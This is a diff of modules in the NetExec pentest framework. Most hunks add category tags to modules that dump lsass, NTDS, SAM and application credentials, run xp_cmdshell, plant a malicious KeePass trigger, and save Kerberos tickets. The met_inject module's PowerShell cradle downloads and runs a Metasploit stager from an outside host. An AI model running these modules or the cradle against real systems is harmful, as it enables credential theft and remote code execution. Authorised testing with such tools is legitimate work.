from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,6 +16,7 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
+2
View File
@@ -7,6 +7,7 @@ import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
@@ -14,6 +15,7 @@ class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
+2
View File
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -130,6 +131,7 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
+2
View File
@@ -1,6 +1,7 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -9,6 +10,7 @@ class NXCModule:
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
+5 -4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,12 +11,10 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
def __init__(self):
pass
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
pass
"""No options available"""
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
+2
View File
@@ -7,6 +7,7 @@ from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -14,6 +15,7 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
+2
View File
@@ -1,12 +1,14 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+2
View File
@@ -7,12 +7,14 @@ from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "ioxidresolver"
description = "This module helps you to identify hosts that have additional active interfaces"
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""DIFFERENT show only ip address if different from target ip (Default: False)"""
+2
View File
@@ -1,4 +1,5 @@
from csv import reader
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,6 +13,7 @@ class NXCModule:
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.search_type = "ALL"
+2
View File
@@ -5,6 +5,7 @@ from csv import reader
from base64 import b64encode
from io import BytesIO, StringIO
from xml.etree import ElementTree as ET
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
from nxc.paths import TMP_PATH
@@ -21,6 +22,7 @@ class NXCModule:
name = "keepass_trigger"
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
+2
View File
@@ -1,6 +1,7 @@
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.protocols.ldap.laps import LAPSv2Extract
@@ -17,6 +18,7 @@ class NXCModule:
name = "laps"
description = "Retrieves all LAPS passwords which the account has read permissions for."
supported_protocols = ["ldap"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *"""
+9 -7
View File
@@ -13,6 +13,7 @@ from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
import contextlib
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -25,6 +26,7 @@ class NXCModule:
name = "ldap-checker"
description = "[REMOVED] Checks whether LDAP signing and channel binding are required and / or enforced"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available."""
@@ -79,10 +81,10 @@ class NXCModule:
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
cert = ssl_sock.getpeercert(binary_form=True)
if cert:
cert_hash = hashlib.sha256(cert).digest()
context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
@@ -109,7 +111,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
return None
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
@@ -138,7 +140,7 @@ class NXCModule:
return False
finally:
ssl_sock.close()
# Conduct an LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
@@ -167,9 +169,9 @@ class NXCModule:
except Exception as e:
context.log.debug(f"Exception during LDAP bind: {e}")
return None
# Determine authentication context and proceed to
# enumerate LDAP signing and channel binding settings
# enumerate LDAP signing and channel binding settings
def on_login(self, context, connection):
context.log.fail("[REMOVED] Now natively supported in the host banner")
return
@@ -255,4 +257,4 @@ class NXCModule:
else:
context.log.fail("Could not determine LDAPS channel binding settings")
else:
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+4
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enable or disable xp_cmdshell on a linked MSSQL server
@@ -7,6 +10,7 @@ class NXCModule:
name = "link_enable_cmdshell"
description = "Enable or disable xp_cmdshell on a linked MSSQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.action = None
+6 -2
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Run xp_cmdshell commands on a linked SQL server
@@ -7,6 +10,7 @@ class NXCModule:
name = "link_xpcmd"
description = "Run xp_cmdshell commands on a linked SQL server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.linked_server = None
@@ -31,14 +35,14 @@ class NXCModule:
self.context.log.display(f"Running command on {self.linked_server}: {self.command}")
query = f"EXEC ('xp_cmdshell ''{self.command}''') AT [{self.linked_server}]"
result = self.mssql_conn.sql_query(query)
if result:
output_lines = []
for row in result:
output_value = row.get("output")
if output_value and output_value != "NULL":
output_lines.append(str(output_value))
if output_lines:
self.context.log.success("Executed command via linked server")
for line in output_lines:
+89
View File
@@ -0,0 +1,89 @@
from io import BytesIO
import pefile
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module for detecting Windows lock screen backdoors
Module by @E1A
"""
name = "lockscreendoors"
description = "Detect Windows lock screen backdoors by checking FileDescriptions of accessibility binaries."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self):
# List of exe names with expected descriptions
self.expected_descriptions = {
"utilman.exe": ["Utility Manager"],
"narrator.exe": ["Screen Reader", "Narrator"],
"sethc.exe": ["Accessibility shortcut keys"],
"osk.exe": ["Accessibility On-Screen Keyboard"],
"magnify.exe": ["Microsoft Screen Magnifier"],
"EaseOfAccessDialog.exe": ["Ease of Access Dialog Host"],
"voiceaccess.exe": ["Voice access"], # Only on Windows 11 / Server 2025+
"displayswitch.exe": ["Display Switch"],
"atbroker.exe": ["Windows Assistive Technology Manager", "Transitions Accessible technologies between desktops"],
}
# If description matches one of these it's almost certainly backdoored
self.backdoor_descriptions = [
"Windows Command Processor",
"Windows PowerShell"
]
def options(self, context, module_options):
"""No options available"""
def get_description(self, binary_data):
# Extract the file description from version info
try:
pe = pefile.PE(data=binary_data, fast_load=True)
pe.parse_data_directories(directories=[pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_RESOURCE"]])
for fileinfo in pe.FileInfo:
for entry in fileinfo:
if entry.Key.decode() == "StringFileInfo":
for st in entry.StringTable:
desc = st.entries.get(b"FileDescription")
if desc:
return desc.decode().strip()
except Exception as e:
self.context.log.debug(f"Failed to extract PE info: {e}")
return None
def on_admin_login(self, context, connection):
target_path = "\\Windows\\System32"
tampered = False
for exe, expected_descs in self.expected_descriptions.items():
try:
# Grab the binary from the share
buf = BytesIO()
connection.conn.getFile("C$", f"{target_path}\\{exe}", buf.write)
binary = buf.getvalue()
# Extract and normalize the file description
file_desc = self.get_description(binary)
if not file_desc:
context.log.fail(f"{exe}: could not extract FileDescription")
continue
# Check if the description is as expected
if file_desc not in expected_descs:
tampered = True
if file_desc in self.backdoor_descriptions:
context.log.highlight(f"BACKDOOR DETECTED: {exe} has FileDescription '{file_desc}'")
else:
if len(expected_descs) == 1:
expected_str = f"'{expected_descs[0]}'"
else:
expected_str = ", ".join(f"'{d}'" for d in expected_descs)
expected_str = f"one of: {expected_str}"
context.log.highlight(f"SUSPICIOUS: {exe} has unexpected FileDescription '{file_desc}' (expected {expected_str})")
except Exception as e:
context.log.debug(f"Failed to process {exe}: {e}")
if not tampered:
context.log.display("All lock screen executable descriptions are consistent with the expected values")
+77 -2
View File
@@ -4,30 +4,57 @@
# https://beta.hackndo.com [FR]
# https://en.hackndo.com [EN]
import os
import sys
from lsassy.dumper import Dumper
from lsassy.impacketfile import ImpacketFile
from lsassy.parser import Parser
from lsassy.session import Session
from impacket.krb5.ccache import CCache
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
class NXCModule:
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.method = None
self.dump_tickets = True
self.save_dir = os.path.join(NXC_PATH, "modules", "lsassy")
self.ticket_type = "ccache"
def options(self, context, module_options):
"""METHOD Method to use to dump lsass.exe with lsassy"""
"""
METHOD Method to use to dump lsass.exe with lsassy
DUMP_TICKETS If set, will dump Kerberos tickets (Default: True)
SAVE_DIR Directory to save dumped tickets
SAVE_TYPE Type of ticket to save, either 'kirbi' or 'ccache' (Default: 'ccache')
"""
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
if "DUMP_TICKETS" in module_options:
self.dump_tickets = module_options["DUMP_TICKETS"].lower() in ["true"]
if "SAVE_DIR" in module_options:
self.save_dir = module_options["SAVE_DIR"]
if "SAVE_TYPE" in module_options:
self.ticket_type = module_options["SAVE_TYPE"]
if self.ticket_type not in ["kirbi", "ccache"]:
context.log.error(f"Invalid SAVE_TYPE '{self.ticket_type}'. Supported types are 'kirbi' and 'ccache'.")
sys.exit(1)
def on_admin_login(self, context, connection):
host = connection.host
domain_name = connection.domain
@@ -67,7 +94,6 @@ class NXCModule:
context.log.fail("Unable to parse lsass dump")
return False
credentials, tickets, masterkeys = parsed
file.close()
context.log.debug("Closed dumper file")
file_path = file.get_file_path()
@@ -84,6 +110,9 @@ class NXCModule:
if credentials is None:
credentials = []
if self.dump_tickets and tickets:
self.write_tickets(context, tickets, host)
for cred in credentials:
c = cred.get_object()
context.log.debug(f"Cred: {c}")
@@ -116,6 +145,52 @@ class NXCModule:
context.log.debug("Calling process_credentials")
self.process_credentials(context, connection, credentials_output)
def write_tickets(self, context, tickets, host):
if not tickets:
context.log.display("No Kerberos tickets found")
return
if not os.path.exists(self.save_dir):
try:
os.makedirs(self.save_dir)
context.log.debug(f"Created directory: {self.save_dir} for saving tickets")
except Exception as e:
context.log.fail(f"Error creating directory {self.save_dir}: {e}")
return
ticket_count = 0
for ticket in tickets:
for filename in ticket.kirbi_data:
try:
base_filename = filename.split(".kirbi")[0]
timestamp = ticket.EndTime.strftime("%Y%m%d%H%M%S")
kirbi_data = ticket.kirbi_data[filename]
if self.ticket_type == "ccache":
ccache = CCache()
ccache.fromKRBCRED(kirbi_data.dump())
ticket_filename = f"{base_filename}_{host}_{timestamp}.ccache"
ticket_content = ccache.getData()
else:
ticket_filename = f"{base_filename}_{host}_{timestamp}.kirbi"
ticket_content = kirbi_data.dump()
ticket_path = os.path.join(self.save_dir, ticket_filename)
with open(ticket_path, "wb") as f:
f.write(ticket_content)
ticket_count += 1
context.log.debug(f"Saved ticket: {ticket_filename}")
except Exception as e:
context.log.fail(f"Error writing ticket {filename}: {e}")
if ticket_count > 0:
context.log.highlight(f"Saved {ticket_count} Kerberos ticket(s) to {self.save_dir}")
else:
context.log.display("No tickets were saved")
def process_credentials(self, context, connection, credentials):
if len(credentials) == 0:
context.log.display("No credentials found")
+14 -8
View File
@@ -1,9 +1,11 @@
from pyasn1.error import PyAsn1Error
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by Shutdown and Podalirius
Modified by @azoxlpf to handle null session errors and avoid IndexError when no LDAP results are returned.
Initial module:
https://github.com/ShutdownRepo/CrackMapExec-MachineAccountQuota
@@ -14,17 +16,21 @@ class NXCModule:
"""
def options(self, context, module_options):
pass
"""No options available"""
name = "maq"
description = "Retrieves the MachineAccountQuota domain-level attribute"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def on_login(self, context, connection):
context.log.display("Getting the MachineAccountQuota")
result = connection.search("(objectClass=*)", ["ms-DS-MachineAccountQuota"])
try:
maq = result[0]["attributes"][0]["vals"][0]
context.log.highlight(f"MachineAccountQuota: {maq}")
except PyAsn1Error:
context.log.highlight("MachineAccountQuota: <not set>")
ldap_response = connection.search("(ms-DS-MachineAccountQuota=*)", ["ms-DS-MachineAccountQuota"])
entries = parse_result_attributes(ldap_response)
if not entries:
context.log.fail("No LDAP entries returned.")
return
context.log.highlight(f"MachineAccountQuota: {entries[0]['ms-DS-MachineAccountQuota']}")
+5 -3
View File
@@ -1,11 +1,13 @@
from masky import Masky
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "masky"
description = "Remotely dump domain user credentials via an ADCS and a KDC"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -79,8 +81,8 @@ class NXCModule:
pwned_users = 0
for user in rslts.users:
if user.nthash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nthash}")
if user.nt_hash:
context.log.highlight(f"{user.domain}\\{user.name} {user.nt_hash}")
self.process_credentials(connection, context, user)
pwned_users += 1
@@ -96,7 +98,7 @@ class NXCModule:
"hash",
user.domain,
user.name,
user.nthash,
user.nt_hash,
pillaged_from=host,
)
add_user_bh(user.name, user.domain, context.log, connection.config)
+6 -4
View File
@@ -1,4 +1,5 @@
from sys import exit
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -10,6 +11,7 @@ class NXCModule:
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.rand = None
@@ -25,7 +27,7 @@ class NXCModule:
SRVPORT Stager port
RAND Random string given by metasploit (if using web_delivery)
SSL Stager server use https or http (default: https)
This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
multi/handler method that don't require RAND:
@@ -60,14 +62,14 @@ class NXCModule:
proto = "http" if self.met_ssl == "http" else "https"
metasploit_endpoint = f"{proto}://{self.srvhost}:{self.srvport}/{self.rand}"
context.log.debug(f"{metasploit_endpoint=}")
# use single quotes inside because if we run this in 32bit PowerShell, the entire command is double quoted (see helpers/powershell.py:create_ps_command())
command = f"$ProgressPreference = 'SilentlyContinue'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('{metasploit_endpoint}');"
context.log.debug(f"Running command via ps_execute: {command}")
output = connection.ps_execute(command)
context.log.debug(f"Received output from ps_execute: {output}")
if output and "Unable to connect to the remote server" in output:
context.log.error("Executed payload, but the cradle was unable to download the stager, is the Metasploit server running?")
else:
+4 -2
View File
@@ -2,6 +2,7 @@ from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXt
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
@@ -9,9 +10,10 @@ class NXCModule:
name = "mobaxterm"
description = "Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_admin_login(self, context, connection):
username = connection.username
@@ -32,7 +34,7 @@ class NXCModule:
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
+11 -10
View File
@@ -5,7 +5,7 @@ from lxml import objectify
from base64 import b64decode
import hashlib
from dataclasses import dataclass
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
@@ -26,6 +26,7 @@ class NXCModule:
name = "mremoteng"
description = "Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them) "
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.false_positive = (
@@ -42,7 +43,7 @@ class NXCModule:
"Users\\{username}\\AppData\\Local\\mRemoteNG",
"Users\\{username}\\AppData\\Roaming\\mRemoteNG",
]
self.custom_user_path = [
"Users\\{username}\\Desktop",
"Users\\{username}\\Documents",
@@ -57,7 +58,7 @@ class NXCModule:
CUSTOM_PATH Custom path to confCons.xml file
"""
self.context = context
self.password = "mR3m"
if "PASSWORD" in module_options:
self.password = module_options["PASSWORD"]
@@ -119,7 +120,7 @@ class NXCModule:
if content is not None:
self.context.log.info(f"Found confCons.xml file: {self.custom_path}")
self.handle_confCons_file(content)
def get_users(self, conn):
users = []
@@ -130,7 +131,7 @@ class NXCModule:
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
return users
def handle_confCons_file(self, file_content):
main = objectify.fromstring(file_content)
encryption_attributes = MRemoteNgEncryptionAttributes(
@@ -139,7 +140,7 @@ class NXCModule:
encryption_engine=main.attrib["EncryptionEngine"],
full_file_encryption=bool(main.attrib["FullFileEncryption"]),
)
for node_attribute in self.parse_xml_nodes(main):
password = self.extract_remoteng_passwords(node_attribute["Password"], encryption_attributes)
if password == b"":
@@ -150,7 +151,7 @@ class NXCModule:
username = node_attribute["Username"]
protocol = node_attribute["Protocol"]
port = node_attribute["Port"]
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " "
self.context.log.highlight(f"{name}:{host} - {domain}\\{username}:{password}")
def parse_xml_nodes(self, main):
@@ -163,7 +164,7 @@ class NXCModule:
nodes.append(node.attrib)
nodes = nodes + self.parse_xml_nodes(node)
return nodes
def dig_confCons_in_files(self, conn, directory_path, recurse_level=0, recurse_max=10):
directory_list = conn.remote_list_dir(self.share, directory_path)
if directory_list is not None:
@@ -179,7 +180,7 @@ class NXCModule:
self.context.log.info(f"Found confCons.xml file: {new_path}")
content = conn.readFile(self.context.share, new_path)
self.handle_confCons_file(content)
def extract_remoteng_passwords(self, encrypted_password, encryption_attributes: MRemoteNgEncryptionAttributes):
encrypted_password = b64decode(encrypted_password)
if encrypted_password == b"":
@@ -203,4 +204,4 @@ class NXCModule:
cipher.update(associated_data)
return cipher.decrypt_and_verify(ciphertext, tag).decode("latin-1")
else:
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
self.context.log.debug(f"Could not decrypt MRemoteNG password with encryption algorithm {encryption_attributes.encryption_engine}: Not yet implemented")
+2
View File
@@ -5,6 +5,7 @@
from ctypes import c_uint8, c_uint16, c_uint32, c_uint64, Structure
import socket
import struct
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
@@ -54,6 +55,7 @@ class NXCModule:
name = "ms17-010"
description = "MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+2
View File
@@ -3,6 +3,7 @@
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
# Fully rewritten by @NeffIsBack
from base64 import b64encode
from nxc.helpers.misc import CATEGORY
from nxc.helpers.powershell import get_ps_script
@@ -11,6 +12,7 @@ class NXCModule:
name = "msol"
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.context = None
+4 -2
View File
@@ -1,12 +1,14 @@
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Execute arbitrary SQL commands on the target MSSQL server"""
"""Made by @lodos2005"""
name = "mssql_coerce"
description = "Execute arbitrary SQL commands on the target MSSQL server"
description = "Execute SQL commands To interact with a specified LISTENER for coercion/exfiltration"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
+2
View File
@@ -1,6 +1,7 @@
# Author:
# Romain de Reydellet (@pentest_soka)
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
class User:
@@ -23,6 +24,7 @@ class NXCModule:
name = "mssql_priv"
description = "Enumerate and exploit MSSQL privileges"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.admin_privs = None
+2
View File
@@ -9,6 +9,7 @@ from pypykatz.pypykatz import pypykatz
import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.misc import CATEGORY
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
@@ -16,6 +17,7 @@ class NXCModule:
name = "nanodump"
description = "Get lsass dump using nanodump and parse the result with pypykatz"
supported_protocols = ["smb", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None, module_options=None):
self.connection = None
+7 -1
View File
@@ -6,17 +6,23 @@ from binascii import unhexlify
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "nopac"
description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
"""No options available"""
def on_login(self, context, connection):
if not connection.username:
context.log.fail("Module requires a username to request TGTs")
return
user_name = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt_with_pac, cipher, old_session_key, session_key = getKerberosTGT(
+4 -2
View File
@@ -1,6 +1,7 @@
from io import BytesIO
from os import makedirs
from os.path import join, abspath
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
@@ -11,6 +12,7 @@ class NXCModule:
name = "notepad++"
description = "Extracts notepad++ unsaved files."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
def options(self, context, module_options):
@@ -30,10 +32,10 @@ class NXCModule:
buf = BytesIO()
connection.conn.getFile("C$", file_path, buf.write)
buf.seek(0)
file_content = buf.read().decode("utf-8", errors="ignore").lower()
file_content = buf.read().decode("utf-8", errors="ignore").lower()
context.log.highlight(f"C:\\{file_path}")
for line in file_content.splitlines():
context.log.highlight(f"\t{line}")
context.log.highlight(f"\t{line}")
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
export_path = join(NXC_PATH, "modules", "notepad++")
path = abspath(join(export_path, filename))
+3 -1
View File
@@ -3,6 +3,7 @@ from os import makedirs
from os.path import join, abspath
import re
import time
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
from impacket.smbconnection import SessionError
@@ -28,6 +29,7 @@ class NXCModule:
name = "notepad"
description = "Extracts content from Windows Notepad tab state binary files."
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self, context=None):
self.context = context
@@ -191,4 +193,4 @@ class NXCModule:
else:
return es
else:
return str(exception)
return str(exception)
+176 -130
View File
@@ -10,24 +10,19 @@ from dataclasses import dataclass, field
import random
import gzip
from io import BytesIO
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes
from nxc.helpers.misc import validate_ntlm
from impacket.examples.secretsdump import LocalOperations, NTDSHashes, SAMHashes, LSASecrets
from nxc.helpers.misc import CATEGORY, validate_ntlm
from nxc.helpers.powershell import get_ps_script
import sys
class NXCModule:
name = "ntds-dump-raw"
description = "Extracting the ntds.dit, SAM, and SYSTEM files from DC by accessing the raw hard drive."
supported_protocols = ["smb", "wmi", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
files_full_location_to_extract = [
"Windows/System32/config/SYSTEM",
"Windows/System32/config/SAM",
"Windows/NTDS/ntds.dit",
]
files_to_extract = [c_filename.split("/")[-1] for c_filename in files_full_location_to_extract]
number_of_file_to_extract = len(files_to_extract)
extracted_files_location_local = {"SAM": "", "SYSTEM": "", "ntds.dit": ""}
# Module constants
NTFS_LOCATION = 0
MFT_LOCATION = 0
context = None
@@ -83,7 +78,36 @@ class NXCModule:
full_path: str = ""
def options(self, context, module_options):
"""No options available"""
"""TARGET: Specify the source from which the hashes will be extracted [NTDS, SAM, LSA] or any combination of them
Usage: nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=SAM
nxc smb $IP -u Username -p Password -M ntds-dump-raw -o TARGET=NTDS,LSA,SAM
$IP can be a Domain Controller or a regular Windows machine.
"""
available_options = {
"NTDS": "Windows/NTDS/ntds.dit",
"LSA": "Windows/System32/config/SECURITY",
"SAM": "Windows/System32/config/SAM"
}
self.files_full_location_to_extract = []
if "TARGET" in module_options:
selected_options = module_options["TARGET"].split(",")
for option in selected_options:
if option in available_options:
self.files_full_location_to_extract.append(available_options[option])
else:
context.log.error(f"Uknown option format : {option}")
sys.exit(1)
else:
self.files_full_location_to_extract.append(available_options["NTDS"])
self.files_full_location_to_extract.append(available_options["SAM"])
# Add SYSTEM by default as needed for decryption
self.files_full_location_to_extract.append("Windows/System32/config/SYSTEM")
# Prepare the files to extract
self.files_to_extract = [c_filename.split("/")[-1] for c_filename in self.files_full_location_to_extract]
self.number_of_file_to_extract = len(self.files_to_extract)
self.extracted_files_location_local = dict.fromkeys(self.files_to_extract, "")
def read_from_disk(self, offset, size):
"""Get the raw content of the disk based on the specified offset and size by executing PowerShell code on the remote target"""
@@ -91,8 +115,10 @@ class NXCModule:
# scary base64 powershell code :)
# This to read the PhysicalDrive0 file
get_data_script = f"""powershell.exe -c "$base64Cmd = '{self.ps_script_b64}';$decodedCmd = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($base64Cmd)) + '; read_disk {offset} {fixed_size}'; Invoke-Expression $decodedCmd" """
if self.connection.__class__.__name__ == "wmi": # noqa: SIM108
if self.connection.__class__.__name__ == "wmi":
data_output = self.connection.execute_psh(get_data_script, True)
elif self.connection.__class__.__name__ == "smb":
data_output = self.execute(get_data_script, True, ["smbexec"])
else:
data_output = self.execute(get_data_script, True)
self.logger.debug(f"{offset=},{size=},{fixed_size=}")
@@ -118,7 +144,7 @@ class NXCModule:
first_section = self.read_from_disk(0, 1024)
if len(first_section) == 0:
self.logger.fail("Unable to read the Disk, try changing the --exec-method flag")
if first_section[512 : 512 + 8] == b"EFI PART":
if first_section[512: 512 + 8] == b"EFI PART":
self.logger.display("Disk is formated using GPT")
NTFS_LOCATION = self.analyze_gpt("\\\\.\\PhysicalDrive0")
if NTFS_LOCATION == -1:
@@ -128,10 +154,10 @@ class NXCModule:
max_parition_size = 0
